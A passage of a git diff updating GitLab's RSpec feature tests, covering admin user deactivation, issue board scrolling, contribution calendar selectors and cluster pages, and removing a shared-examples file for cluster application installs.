- expect(page).to have_content('Unblock user')
- expect(page).to have_content('You can always block their account again if needed.')
+ expect(page).to have_content('Successfully unblocked')
+ expect(page).not_to have_content(user.email)
+ end
+ end
- find('.modal-footer button', text: 'Unblock').click
+ context 'when deactivating/re-activating a user' do
+ it 'shows confirmation and allows deactivating and re-activating', :js do
+ expect(page).to have_content(user.email)
- wait_for_requests
+ click_action_in_user_dropdown(user.id, 'Deactivate')
- expect(page).to have_content('Successfully unblocked')
- expect(page).not_to have_content(user.email)
- end
- end
+ expect(page).to have_content('Deactivate user')
+ expect(page).to have_content('Deactivating a user has the following effects')
+ expect(page).to have_content('The user will be logged out')
+ expect(page).to have_content('Personal projects, group and user history will be left intact')
- context 'when deactivating/re-activating a user' do
- it 'shows confirmation and allows deactivating and re-activating', :js do
- expect(page).to have_content(user.email)
+ find('.modal-footer button', text: 'Deactivate').click
- click_action_in_user_dropdown(user.id, 'Deactivate')
+ wait_for_requests
- expect(page).to have_content('Deactivate user')
- expect(page).to have_content('Deactivating a user has the following effects')
- expect(page).to have_content('The user will be logged out')
- expect(page).to have_content('Personal projects, group and user history will be left intact')
+ expect(page).to have_content('Successfully deactivated')
+ expect(page).not_to have_content(user.email)
- find('.modal-footer button', text: 'Deactivate').click
+ click_link 'Deactivated'
- wait_for_requests
+ wait_for_requests
- expect(page).to have_content('Successfully deactivated')
- expect(page).not_to have_content(user.email)
+ expect(page).to have_content(user.email)
- click_link 'Deactivated'
+ click_action_in_user_dropdown(user.id, 'Activate')
- wait_for_requests
+ expect(page).to have_content('Activate user')
+ expect(page).to have_content('You can always deactivate their account again if needed.')
- expect(page).to have_content(user.email)
+ find('.modal-footer button', text: 'Activate').click
- click_action_in_user_dropdown(user.id, 'Activate')
+ wait_for_requests
- expect(page).to have_content('Activate user')
- expect(page).to have_content('You can always deactivate their account again if needed.')
+ expect(page).to have_content('Successfully activated')
+ expect(page).not_to have_content(user.email)
+ end
+ end
- find('.modal-footer button', text: 'Activate').click
+ describe 'internal users' do
+ context 'when showing a `Ghost User`' do
+ let_it_be(:ghost_user) { create(:user, :ghost) }
- wait_for_requests
+ it 'does not render actions dropdown' do
+ expect(page).not_to have_css("[data-testid='user-actions-#{ghost_user.id}'] [data-testid='dropdown-toggle']")
+ end
+ end
+
+ context 'when showing a `Bot User`' do
+ let_it_be(:bot_user) { create(:user, user_type: :alert_bot) }
- expect(page).to have_content('Successfully activated')
- expect(page).not_to have_content(user.email)
- end
+ it 'does not render actions dropdown' do
+ expect(page).not_to have_css("[data-testid='user-actions-#{bot_user.id}'] [data-testid='dropdown-toggle']")
end
end
end
+
+ context 'user group count', :js do
+ before do
+ group = create(:group)
+ group.add_developer(current_user)
+ project = create(:project, group: create(:group))
+ project.add_reporter(current_user)
+ end
+
+ it 'displays count of the users authorized groups' do
+ wait_for_requests
+
+ expect(page.find("[data-testid='user-group-count-#{current_user.id}']").text).to eq("2")
+ end
+ end
end
describe 'GET /admin/users/new' do
@@ -548,32 +572,6 @@ RSpec.describe 'Admin::Users' do
end
end
- # TODO: Move to main GET /admin/users block once feature flag is removed. Issue: https://gitlab.com/gitlab-org/gitlab/-/issues/290737
- context 'with vue_admin_users feature flag enabled', :js do
- before do
- stub_feature_flags(vue_admin_users: true)
- end
-
- describe 'GET /admin/users' do
- context 'user group count', :js do
- before do
- group = create(:group)
- group.add_developer(current_user)
- project = create(:project, group: create(:group))
- project.add_reporter(current_user)
- end
-
- it 'displays count of the users authorized groups' do
- visit admin_users_path
-
- wait_for_requests
-
- expect(page.find("[data-testid='user-group-count-#{current_user.id}']").text).to eq("2")
- end
- end
- end
- end
-
def click_user_dropdown_toggle(user_id)
page.within("[data-testid='user-actions-#{user_id}']") do
find("[data-testid='dropdown-toggle']").click
diff --git a/spec/features/alert_management/alert_management_list_spec.rb b/spec/features/alert_management/alert_management_list_spec.rb
index 44ed2f3d60c..aeaadacb38d 100644
--- a/spec/features/alert_management/alert_management_list_spec.rb
+++ b/spec/features/alert_management/alert_management_list_spec.rb
@@ -55,4 +55,28 @@ RSpec.describe 'Alert Management index', :js do
it_behaves_like 'alert page with title, filtered search, and table'
end
end
+
+ describe 'managed_alerts_deprecation feature flag' do
+ subject { page }
+
+ before do
+ stub_feature_flags(managed_alerts_deprecation: feature_flag_value)
+ sign_in(developer)
+
+ visit project_alert_management_index_path(project)
+ wait_for_requests
+ end
+
+ context 'feature flag on' do
+ let(:feature_flag_value) { true }
+
+ it { is_expected.to have_pushed_frontend_feature_flags(managedAlertsDeprecation: true) }
+ end
+
+ context 'feature flag off' do
+ let(:feature_flag_value) { false }
+
+ it { is_expected.to have_pushed_frontend_feature_flags(managedAlertsDeprecation: false) }
+ end
+ end
end
diff --git a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
index 6675abd6b42..60f2f776595 100644
--- a/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
+++ b/spec/features/alerts_settings/user_views_alerts_settings_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'Alert integrations settings form', :js do
it 'shows the alerts setting form title' do
page.within('#js-alert-management-settings') do
- expect(find('h4')).to have_content('Alert integrations')
+ expect(find('h4')).to have_content('Alerts')
end
end
diff --git a/spec/features/boards/boards_spec.rb b/spec/features/boards/boards_spec.rb
index 5d9bb8d8087..02bb7574fb0 100644
--- a/spec/features/boards/boards_spec.rb
+++ b/spec/features/boards/boards_spec.rb
@@ -147,14 +147,23 @@ RSpec.describe 'Project issue boards', :js do
end
it 'infinite scrolls list' do
- create_list(:labeled_issue, 50, project: project, labels: [planning])
+ create_list(:labeled_issue, 30, project: project, labels: [planning])
visit_project_board_path_without_query_limit(project, board)
page.within(find('.board:nth-child(2)')) do
- expect(page.find('.board-header')).to have_content('58')
+ expect(page.find('.board-header')).to have_content('38')
+ expect(page).to have_selector('.board-card', count: 10)
+ expect(page).to have_content('Showing 10 of 38 issues')
+
+ find('.board .board-list')
+
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
+
expect(page).to have_selector('.board-card', count: 20)
- expect(page).to have_content('Showing 20 of 58 issues')
+ expect(page).to have_content('Showing 20 of 38 issues')
find('.board .board-list')
@@ -162,8 +171,8 @@ RSpec.describe 'Project issue boards', :js do
evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
end
- expect(page).to have_selector('.board-card', count: 40)
- expect(page).to have_content('Showing 40 of 58 issues')
+ expect(page).to have_selector('.board-card', count: 30)
+ expect(page).to have_content('Showing 30 of 38 issues')
find('.board .board-list')
@@ -171,7 +180,7 @@ RSpec.describe 'Project issue boards', :js do
evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
end
- expect(page).to have_selector('.board-card', count: 58)
+ expect(page).to have_selector('.board-card', count: 38)
expect(page).to have_content('Showing all issues')
end
end
@@ -464,7 +473,7 @@ RSpec.describe 'Project issue boards', :js do
end
it 'infinite scrolls list with label filter' do
- create_list(:labeled_issue, 50, project: project, labels: [planning, testing])
+ create_list(:labeled_issue, 30, project: project, labels: [planning, testing])
set_filter("label", testing.title)
click_filter_link(testing.title)
@@ -475,9 +484,18 @@ RSpec.describe 'Project issue boards', :js do
wait_for_requests
page.within(find('.board:nth-child(2)')) do
- expect(page.find('.board-header')).to have_content('51')
+ expect(page.find('.board-header')).to have_content('31')
+ expect(page).to have_selector('.board-card', count: 10)
+ expect(page).to have_content('Showing 10 of 31 issues')
+
+ find('.board .board-list')
+
+ inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
+ evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
+ end
+
expect(page).to have_selector('.board-card', count: 20)
- expect(page).to have_content('Showing 20 of 51 issues')
+ expect(page).to have_content('Showing 20 of 31 issues')
find('.board .board-list')
@@ -485,15 +503,15 @@ RSpec.describe 'Project issue boards', :js do
evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
end
- expect(page).to have_selector('.board-card', count: 40)
- expect(page).to have_content('Showing 40 of 51 issues')
+ expect(page).to have_selector('.board-card', count: 30)
+ expect(page).to have_content('Showing 30 of 31 issues')
find('.board .board-list')
inspect_requests(inject_headers: { 'X-GITLAB-DISABLE-SQL-QUERY-LIMIT' => 'https://gitlab.com/gitlab-org/gitlab/-/issues/323426' }) do
evaluate_script("document.querySelectorAll('.board .board-list')[1].scrollTop = document.querySelectorAll('.board .board-list')[1].scrollHeight")
end
- expect(page).to have_selector('.board-card', count: 51)
+ expect(page).to have_selector('.board-card', count: 31)
expect(page).to have_content('Showing all issues')
end
end
diff --git a/spec/features/boards/issue_ordering_spec.rb b/spec/features/boards/issue_ordering_spec.rb
index 87d29eed68d..57f2bf26752 100644
--- a/spec/features/boards/issue_ordering_spec.rb
+++ b/spec/features/boards/issue_ordering_spec.rb
@@ -157,7 +157,7 @@ RSpec.describe 'Issue Boards', :js do
end
it 'moves to bottom of another list' do
- drag(list_from_index: 1, list_to_index: 2, to_index: 2, duration: 1020)
+ drag(list_from_index: 1, list_to_index: 2, to_index: 3, duration: 1020)
wait_for_requests
diff --git a/spec/features/boards/multi_select_spec.rb b/spec/features/boards/multi_select_spec.rb
index ca322355b8f..057464326fa 100644
--- a/spec/features/boards/multi_select_spec.rb
+++ b/spec/features/boards/multi_select_spec.rb
@@ -41,9 +41,9 @@ RSpec.describe 'Multi Select Issue', :js do
before do
project.add_maintainer(user)
- # multi-drag disabled with feature flag for now
+ # Multi select drag&drop support is temporarily disabled
# https://gitlab.com/gitlab-org/gitlab/-/issues/289797
- stub_feature_flags(graphql_board_lists: false)
+ stub_feature_flags(graphql_board_lists: false, board_multi_select: project)
sign_in(user)
end
diff --git a/spec/features/boards/new_issue_spec.rb b/spec/features/boards/new_issue_spec.rb
index 129d03d17f3..e055e8092d4 100644
--- a/spec/features/boards/new_issue_spec.rb
+++ b/spec/features/boards/new_issue_spec.rb
@@ -120,6 +120,32 @@ RSpec.describe 'Issue Boards new issue', :js do
expect(page).to have_content 'Label 1'
end
end
+
+ it 'allows creating an issue in newly created list' do
+ click_button 'Create list'
+ wait_for_all_requests
+
+ click_button 'Select a label'
+ find('label', text: label.title).click
+ click_button 'Add to board'
+
+ wait_for_all_requests
+
+ page.within('.board:nth-child(2)') do
+ click_button('New issue')
+
+ page.within(first('.board-new-issue-form')) do
+ find('.form-control').set('new issue')
+ click_button 'Create issue'
+ end
+
+ wait_for_all_requests
+
+ page.within('.board-card') do
+ expect(page).to have_content 'new issue'
+ end
+ end
+ end
end
context 'unauthorized user' do
@@ -128,8 +154,8 @@ RSpec.describe 'Issue Boards new issue', :js do
wait_for_requests
end
- it 'displays new issue button in open list' do
- expect(first('.board')).to have_button('New issue', count: 1)
+ it 'does not display new issue button in open list' do
+ expect(first('.board')).not_to have_button('New issue')
end
it 'does not display new issue button in label list' do
@@ -166,8 +192,8 @@ RSpec.describe 'Issue Boards new issue', :js do
context 'when backlog list already exists' do
let_it_be(:backlog_list) { create(:backlog_list, board: group_board) }
- it 'displays new issue button in open list' do
- expect(first('.board')).to have_button('New issue', count: 1)
+ it 'does not display new issue button in open list' do
+ expect(first('.board')).not_to have_button('New issue')
end
it 'does not display new issue button in label list' do
diff --git a/spec/features/boards/sidebar_assignee_spec.rb b/spec/features/boards/sidebar_assignee_spec.rb
index d6adefea6e3..63553cec89b 100644
--- a/spec/features/boards/sidebar_assignee_spec.rb
+++ b/spec/features/boards/sidebar_assignee_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Project issue boards sidebar assignee', :js do
+RSpec.describe 'Project issue boards sidebar assignee', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332230' do
include BoardHelpers
let_it_be(:user) { create(:user) }
diff --git a/spec/features/boards/sidebar_milestones_spec.rb b/spec/features/boards/sidebar_milestones_spec.rb
index 54182781a30..be7435263b1 100644
--- a/spec/features/boards/sidebar_milestones_spec.rb
+++ b/spec/features/boards/sidebar_milestones_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe 'Project issue boards sidebar milestones', :js do
wait_for_requests
- page.within('.value') do
+ page.within('[data-testid="select-milestone"]') do
expect(page).to have_content(milestone.title)
end
end
@@ -56,7 +56,7 @@ RSpec.describe 'Project issue boards sidebar milestones', :js do
wait_for_requests
- page.within('.value') do
+ page.within('[data-testid="select-milestone"]') do
expect(page).not_to have_content(milestone.title)
end
end
diff --git a/spec/features/calendar_spec.rb b/spec/features/calendar_spec.rb
index 1281d890ef7..21da92c9f43 100644
--- a/spec/features/calendar_spec.rb
+++ b/spec/features/calendar_spec.rb
@@ -15,10 +15,9 @@ RSpec.describe 'Contributions Calendar', :js do
issue_title = 'Bug in old browser'
issue_params = { title: issue_title }
- def get_cell_color_selector(contributions)
- activity_colors = ["#ededed", "rgb(172, 213, 242)", "rgb(127, 168, 201)", "rgb(82, 123, 160)", "rgb(37, 78, 119)"]
+ def get_cell_level_selector(contributions)
# We currently don't actually test the cases with contributions >= 20
- activity_colors_index =
+ activity_level_index =
if contributions > 0 && contributions < 10
1
elsif contributions >= 10 && contributions < 20
@@ -31,7 +30,7 @@ RSpec.describe 'Contributions Calendar', :js do
0
end
- ".user-contrib-cell[fill='#{activity_colors[activity_colors_index]}']"
+ ".user-contrib-cell:not(.contrib-legend)[data-level='#{activity_level_index}']"
end
def get_cell_date_selector(contributions, date)
@@ -42,7 +41,7 @@ RSpec.describe 'Contributions Calendar', :js do
"#{contributions} #{'contribution'.pluralize(contributions)}"
end
- "#{get_cell_color_selector(contributions)}[title='#{contribution_text}<br /><span class=\"gl-text-gray-300\">#{date}</span>']"
+ "#{get_cell_level_selector(contributions)}[title='#{contribution_text}<br /><span class=\"gl-text-gray-300\">#{date}</span>']"
end
def push_code_contribution
@@ -137,7 +136,7 @@ RSpec.describe 'Contributions Calendar', :js do
include_context 'visit user page'
it 'displays calendar activity square for 1 contribution', :sidekiq_might_not_need_inline do
- expect(find('#js-overview')).to have_selector(get_cell_color_selector(contribution_count), count: 1)
+ expect(find('#js-overview')).to have_selector(get_cell_level_selector(contribution_count), count: 1)
today = Date.today.strftime(date_format)
expect(find('#js-overview')).to have_selector(get_cell_date_selector(contribution_count, today), count: 1)
@@ -187,7 +186,7 @@ RSpec.describe 'Contributions Calendar', :js do
include_context 'visit user page'
it 'displays calendar activity squares for both days', :sidekiq_might_not_need_inline do
- expect(find('#js-overview')).to have_selector(get_cell_color_selector(1), count: 2)
+ expect(find('#js-overview')).to have_selector(get_cell_level_selector(1), count: 2)
end
it 'displays calendar activity square for yesterday', :sidekiq_might_not_need_inline do
diff --git a/spec/features/clusters/cluster_detail_page_spec.rb b/spec/features/clusters/cluster_detail_page_spec.rb
index 84a18a45d35..cba8aaef1ef 100644
--- a/spec/features/clusters/cluster_detail_page_spec.rb
+++ b/spec/features/clusters/cluster_detail_page_spec.rb
@@ -31,30 +31,6 @@ RSpec.describe 'Clusterable > Show page' do
expect(page).to have_content('Kubernetes cluster was successfully updated.')
end
- context 'when there is a cluster with ingress and external ip', :js do
- before do
- cluster.create_application_ingress!(external_ip: '192.168.1.100')
-
- visit cluster_path
- end
-
- it 'shows help text with the domain as an alternative to custom domain', :js do
- within '.js-cluster-details-form' do
- expect(find(cluster_ingress_help_text_selector).text).to include('192.168.1.100')
- end
- end
- end
-
- context 'when there is no ingress' do
- it 'alternative to custom domain is not shown' do
- visit cluster_path
-
- within '.js-cluster-details-form' do
- expect(page).not_to have_selector(cluster_ingress_help_text_selector)
- end
- end
- end
-
it 'does not show the environments tab' do
visit cluster_path
diff --git a/spec/features/clusters/cluster_health_dashboard_spec.rb b/spec/features/clusters/cluster_health_dashboard_spec.rb
index 862f34768c4..20c07f4d6ac 100644
--- a/spec/features/clusters/cluster_health_dashboard_spec.rb
+++ b/spec/features/clusters/cluster_health_dashboard_spec.rb
@@ -27,8 +27,8 @@ RSpec.describe 'Cluster Health board', :js, :kubeclient, :use_clean_rails_memory
expect(page).to have_css('.cluster-health-graphs')
end
- context 'no prometheus installed' do
- it 'shows install prometheus message' do
+ context 'no prometheus available' do
+ it 'shows enable Prometheus message' do
visit cluster_path
click_link 'Health'
@@ -37,9 +37,9 @@ RSpec.describe 'Cluster Health board', :js, :kubeclient, :use_clean_rails_memory
end
end
- context 'when there is cluster with installed prometheus' do
+ context 'when there is cluster with enabled prometheus' do
before do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, enabled: true, cluster: cluster)
stub_kubeclient_discover(cluster.platform.api_url)
end
@@ -82,12 +82,12 @@ RSpec.describe 'Cluster Health board', :js, :kubeclient, :use_clean_rails_memory
def stub_empty_response
stub_prometheus_request(/prometheus-prometheus-server/, status: 204, body: {})
- stub_prometheus_request(/prometheus\/api\/v1/, status: 204, body: {})
+ stub_prometheus_request(%r{prometheus/api/v1}, status: 204, body: {})
end
def stub_connected
stub_prometheus_request(/prometheus-prometheus-server/, body: prometheus_values_body)
- stub_prometheus_request(/prometheus\/api\/v1/, body: prometheus_values_body)
+ stub_prometheus_request(%r{prometheus/api/v1}, body: prometheus_values_body)
end
end
end
diff --git a/spec/features/clusters/installing_applications_shared_examples.rb b/spec/features/clusters/installing_applications_shared_examples.rb
deleted file mode 100644
index c422aa2be72..00000000000
--- a/spec/features/clusters/installing_applications_shared_examples.rb
+++ /dev/null
@@ -1,252 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples "installing applications for a cluster" do
- before do
- # Reduce interval from 10 seconds which is too long for an automated test
- stub_const("#{Clusters::ClustersController}::STATUS_POLLING_INTERVAL", 500)
-
- visit cluster_path
- end
-
- context 'when cluster is being created' do
- let(:cluster) { create(:cluster, :providing_by_gcp, *cluster_factory_args) }
-
- it 'user is unable to install applications' do
- expect(page).not_to have_text('Helm')
- expect(page).not_to have_text('Install')
- end
- end
-
- context 'when cluster is created' do
- let(:cluster) { create(:cluster, :provided_by_gcp, *cluster_factory_args) }
-
- before do
- page.within('.js-edit-cluster-form') do
- click_link 'Applications'
- end
- end
-
- it 'user can install applications' do
- wait_for_requests
-
- application_row = '.js-cluster-application-row-ingress'
-
- page.within(application_row) do
- expect(page).not_to have_css('.js-cluster-application-install-button[disabled]')
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Install')
- end
- end
-
- it 'does not show the Helm application' do
- expect(page).not_to have_selector(:css, '.js-cluster-application-row-helm')
- end
-
- context 'when user installs Knative' do
- context 'on an abac cluster' do
- let(:cluster) { create(:cluster, :provided_by_gcp, :rbac_disabled, *cluster_factory_args) }
-
- it 'shows info block and not be installable' do
- page.within('.js-cluster-application-row-knative') do
- expect(page).to have_css('.rbac-notice')
- expect(page.find(:css, '.js-cluster-application-install-button')['disabled']).to eq('true')
- end
- end
- end
-
- context 'on an rbac cluster' do
- let(:cluster) { create(:cluster, :provided_by_gcp, *cluster_factory_args) }
-
- it 'does not show callout block and be installable' do
- page.within('.js-cluster-application-row-knative') do
- expect(page).not_to have_css('p', text: 'You must have an RBAC-enabled cluster', visible: :all)
- expect(page).to have_css('.js-cluster-application-install-button:not([disabled])')
- end
- end
-
- describe 'when user clicks install button' do
- before do
- allow(ClusterInstallAppWorker).to receive(:perform_async)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_in)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_async)
-
- page.within('.js-cluster-application-row-knative') do
- expect(page).to have_css('.js-cluster-application-install-button:not([disabled])')
-
- page.find('.js-knative-domainname').set("domain.example.org")
-
- click_button 'Install'
-
- wait_for_requests
-
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_knative.make_installing!
- Clusters::Cluster.last.application_knative.make_installed!
- Clusters::Cluster.last.application_knative.update_attribute(:external_ip, '127.0.0.1')
- end
- end
-
- it 'shows status transition' do
- page.within('.js-cluster-application-row-knative') do
- expect(page).to have_field('Knative Domain Name:', with: 'domain.example.org')
- expect(page).to have_css('.js-cluster-application-uninstall-button', exact_text: 'Uninstall')
- end
-
- expect(page).to have_content('Knative was successfully installed on your Kubernetes cluster')
- expect(page).to have_css('.js-knative-save-domain-button'), exact_text: 'Save changes'
- end
-
- it 'can then update the domain' do
- page.within('.js-cluster-application-row-knative') do
- expect(ClusterPatchAppWorker).to receive(:perform_async)
-
- expect(page).to have_field('Knative Domain Name:', with: 'domain.example.org')
-
- page.find('.js-knative-domainname').set("new.domain.example.org")
-
- click_button 'Save changes'
-
- wait_for_requests
-
- expect(page).to have_field('Knative Domain Name:', with: 'new.domain.example.org')
- end
- end
- end
- end
- end
-
- context 'when user installs Cert Manager' do
- before do
- allow(ClusterInstallAppWorker).to receive(:perform_async)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_in)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_async)
- end
-
- it 'shows status transition' do
- page.within('.js-cluster-application-row-cert_manager') do
- click_button 'Install'
- wait_for_requests
-
- expect(page).to have_field('Issuer Email', with: cluster.user.email)
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_cert_manager.make_installing!
-
- expect(page).to have_field('Issuer Email', with: cluster.user.email)
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_cert_manager.make_installed!
-
- expect(page).to have_field('Issuer Email', with: cluster.user.email)
- expect(page).to have_css('.js-cluster-application-uninstall-button', exact_text: 'Uninstall')
- end
-
- expect(page).to have_content('Cert-Manager was successfully installed on your Kubernetes cluster')
- end
-
- it 'installs with custom email' do
- custom_email = 'new_email@example.org'
-
- page.within('.js-cluster-application-row-cert_manager') do
- # Wait for the polling to finish
- wait_for_requests
-
- page.find('.js-email').set(custom_email)
- click_button 'Install'
- wait_for_requests
-
- expect(page).to have_field('Issuer Email', with: custom_email)
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_cert_manager.make_installing!
-
- expect(page).to have_field('Issuer Email', with: custom_email)
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_cert_manager.make_installed!
-
- expect(page).to have_field('Issuer Email', with: custom_email)
- expect(page).to have_css('.js-cluster-application-uninstall-button', exact_text: 'Uninstall')
- end
- end
- end
-
- context 'when user installs Elastic Stack' do
- before do
- allow(ClusterInstallAppWorker).to receive(:perform_async)
-
- page.within('.js-cluster-application-row-elastic_stack') do
- click_button 'Install'
- end
-
- wait_for_requests
- end
-
- it 'shows status transition' do
- page.within('.js-cluster-application-row-elastic_stack') do
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_elastic_stack.make_installing!
-
- expect(page).to have_css('.js-cluster-application-install-button', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_elastic_stack.make_installed!
-
- expect(page).to have_css('.js-cluster-application-uninstall-button', exact_text: 'Uninstall')
- end
-
- expect(page).to have_content('Elastic Stack was successfully installed on your Kubernetes cluster')
- end
- end
-
- context 'when user installs Ingress' do
- before do
- allow(ClusterInstallAppWorker).to receive(:perform_async)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_in)
- allow(ClusterWaitForIngressIpAddressWorker).to receive(:perform_async)
-
- page.within('.js-cluster-application-row-ingress') do
- expect(page).to have_css('.js-cluster-application-install-button:not([disabled])')
- page.find(:css, '.js-cluster-application-install-button').click
-
- wait_for_requests
- end
- end
-
- it 'shows the status transition' do
- page.within('.js-cluster-application-row-ingress') do
- # FE sends request and gets the response, then the buttons is "Installing"
- expect(page).to have_css('.js-cluster-application-install-button[disabled]', exact_text: 'Installing')
-
- Clusters::Cluster.last.application_ingress.make_installing!
-
- # FE starts polling and update the buttons to "Installing"
- expect(page).to have_css('.js-cluster-application-install-button[disabled]', exact_text: 'Installing')
-
- # The application becomes installed but we keep waiting for external IP address
- Clusters::Cluster.last.application_ingress.make_installed!
-
- expect(page).to have_css('.js-cluster-application-install-button[disabled]', exact_text: 'Installed')
- expect(page).to have_selector('.js-no-endpoint-message')
- expect(page).to have_selector('.js-ingress-ip-loading-icon')
-
- # We receive the external IP address and display
- Clusters::Cluster.last.application_ingress.update!(external_ip: '192.168.1.100')
-
- expect(page).not_to have_css('button', exact_text: 'Install', visible: :all)
- expect(page).not_to have_css('button', exact_text: 'Installing', visible: :all)
- expect(page).to have_css('.js-cluster-application-uninstall-button:not([disabled])', exact_text: 'Uninstall')
- expect(page).not_to have_css('p', text: 'The endpoint is in the process of being assigned', visible: :all)
- expect(page.find('.js-endpoint').value).to eq('192.168.1.100')
- end
-
- expect(page).to have_content('Ingress was successfully installed on your Kubernetes cluster')
- end
- end
- end
-end
-
-RSpec.shared_examples "installing applications on a cluster" do
- it_behaves_like "installing applications for a cluster", false
- it_behaves_like "installing applications for a cluster", true
-end
diff --git a/spec/features/contextual_sidebar_spec.rb b/spec/features/contextual_sidebar_spec.rb
index 8ea1ebac6b7..39881a28b11 100644
--- a/spec/features/contextual_sidebar_spec.rb
+++ b/spec/features/contextual_sidebar_spec.rb
@@ -3,17 +3,17 @@
require 'spec_helper'
RSpec.describe 'Contextual sidebar', :js do
- let(:user) { create(:user) }
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
+ let(:user) { project.owner }
before do
- project.add_maintainer(user)
sign_in(user)
visit project_path(project)
end
- it 'shows flyout navs when collapsed or expanded apart from on the active item when expanded' do
+ it 'shows flyout navs when collapsed or expanded apart from on the active item when expanded', :aggregate_failures do
expect(page).not_to have_selector('.js-sidebar-collapsed')
find('.rspec-link-pipelines').hover
diff --git a/spec/features/cycle_analytics_spec.rb b/spec/features/cycle_analytics_spec.rb
index 233a93c2054..8c7564535b5 100644
--- a/spec/features/cycle_analytics_spec.rb
+++ b/spec/features/cycle_analytics_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'Value Stream Analytics', :js do
end
it 'shows active stage with empty message' do
- expect(page).to have_selector('.stage-nav-item.active', text: 'Issue')
+ expect(page).to have_selector('.gl-path-active-item-indigo', text: 'Issue')
expect(page).to have_content("We don't have enough data to show this stage.")
end
end
@@ -171,7 +171,7 @@ RSpec.describe 'Value Stream Analytics', :js do
end
def click_stage(stage_name)
- find('.stage-nav li', text: stage_name).click
+ find('.gl-path-nav-list-item', text: stage_name).click
wait_for_requests
end
end
diff --git a/spec/features/dashboard/active_tab_spec.rb b/spec/features/dashboard/active_tab_spec.rb
index a1fb0beda70..aa767d75c00 100644
--- a/spec/features/dashboard/active_tab_spec.rb
+++ b/spec/features/dashboard/active_tab_spec.rb
@@ -2,6 +2,9 @@
require 'spec_helper'
+# TODO: This entire spec file can be deleted once the combined_menu feature is fully rolled
+# out and the flag is removed, because it will then be irrelevant (there will be no more tabs).
+# Feature flag removal issue: https://gitlab.com/gitlab-org/gitlab/-/issues/324086
RSpec.describe 'Dashboard Active Tab', :js do
shared_examples 'combined_menu: feature flag examples' do
before do
@@ -10,8 +13,6 @@ RSpec.describe 'Dashboard Active Tab', :js do
shared_examples 'page has active tab' do |title|
it "#{title} tab" do
- pending_on_combined_menu_flag
-
subject
expect(page).to have_selector('.navbar-sub-nav li.active', count: 1)
@@ -32,27 +33,11 @@ RSpec.describe 'Dashboard Active Tab', :js do
end
end
- context 'with combined_menu: feature flag on' do
- let(:needs_rewrite_for_combined_menu_flag_on) { true }
-
- before do
- stub_feature_flags(combined_menu: true)
- end
-
- it_behaves_like 'combined_menu: feature flag examples'
- end
-
context 'with combined_menu feature flag off' do
- let(:needs_rewrite_for_combined_menu_flag_on) { false }
-
before do
stub_feature_flags(combined_menu: false)
end
it_behaves_like 'combined_menu: feature flag examples'
end
-
- def pending_on_combined_menu_flag
- pending 'https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56587' if needs_rewrite_for_combined_menu_flag_on
- end
end
diff --git a/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb b/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
index 0620f819332..3dd993b4bb5 100644
--- a/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
+++ b/spec/features/dashboard/group_dashboard_with_external_authorization_service_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'The group dashboard' do
include ExternalAuthorizationServiceHelpers
+ include Spec::Support::Helpers::Features::TopNavSpecHelpers
let(:user) { create(:user) }
@@ -14,11 +15,11 @@ RSpec.describe 'The group dashboard' do
describe 'The top navigation' do
it 'has all the expected links' do
- pending_on_combined_menu_flag
-
visit dashboard_groups_path
- within('.navbar') do
+ open_top_nav
+
+ within_top_nav do
expect(page).to have_button('Projects')
expect(page).to have_button('Groups')
expect(page).to have_link('Activity')
@@ -28,12 +29,12 @@ RSpec.describe 'The group dashboard' do
end
it 'hides some links when an external authorization service is enabled' do
- pending_on_combined_menu_flag
-
enable_external_authorization_service_check
visit dashboard_groups_path
- within('.navbar') do
+ open_top_nav
+
+ within_top_nav do
expect(page).to have_button('Projects')
expect(page).to have_button('Groups')
expect(page).not_to have_link('Activity')
@@ -44,7 +45,7 @@ RSpec.describe 'The group dashboard' do
end
end
